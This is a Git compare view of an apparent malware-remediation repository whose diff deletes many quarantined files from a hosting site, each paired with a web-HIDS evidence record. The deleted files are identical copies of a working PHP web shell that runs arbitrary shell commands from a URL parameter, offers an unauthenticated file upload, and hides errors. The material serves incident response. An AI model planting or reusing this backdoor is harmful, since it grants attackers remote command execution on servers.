cadline_web/malware_remediation
11
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

base: cadline_web:367eacf1f851886061dfb70f5cdd906ecce327a1
Branches Tags
cadline_web:main
cadline_web:store-cleanup-fp
..
compare: cadline_web:5ec6e008dcfabf463d25989a2cbaddc60d173e2f
Branches Tags
cadline_web:main
cadline_web:store-cleanup-fp

No commits in common. "367eacf1f851886061dfb70f5cdd906ecce327a1" and "5ec6e008dcfabf463d25989a2cbaddc60d173e2f" have entirely different histories.
367eacf1f8 ... 5ec6e008dc

57 changed files with 0 additions and 3151 deletions
Show Stats Expand all files Collapse all files

1639
logs/20260718T155002Z.log
View File

File diff suppressed because it is too large Load Diff

39
var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4921",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_0tc4t3dy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783865685,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_0tc4t3dy.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4910",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_19b8fmhn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837748,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_19b8fmhn.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4894",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_2xbk7ug3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783904364,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_2xbk7ug3.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4935",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_8nom65ew.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783864514,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_8nom65ew.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4895",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_fiqbuwjw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699437,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_fiqbuwjw.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4909",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_kgetu0xr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783909515,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_kgetu0xr.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4923",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_knton7qj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783833977,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_knton7qj.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4878",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_r02w559c.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783866127,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_r02w559c.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4837",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vimcjrhc.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700158,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_vimcjrhc.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4906",
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vunx1gid.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783866424,
"size": 1228,
"uid": 20043
},
"rel_path": "_h3x_vunx1gid.php.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json vendored
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json vendored
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5020",
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_9zbnowsb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699440,
"size": 1228,
"uid": 20043
},
"rel_path": "cache/_h3x_9zbnowsb.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json vendored
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json vendored
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5024",
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_e4pk161f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700161,
"size": 1228,
"uid": 20043
},
"rel_path": "cache/_h3x_e4pk161f.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json vendored
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json vendored
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5016",
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_r16oprou.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837753,
"size": 1228,
"uid": 20043
},
"rel_path": "cache/_h3x_r16oprou.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5285",
"log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_2hjfdfr5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837758,
"size": 1228,
"uid": 20043
},
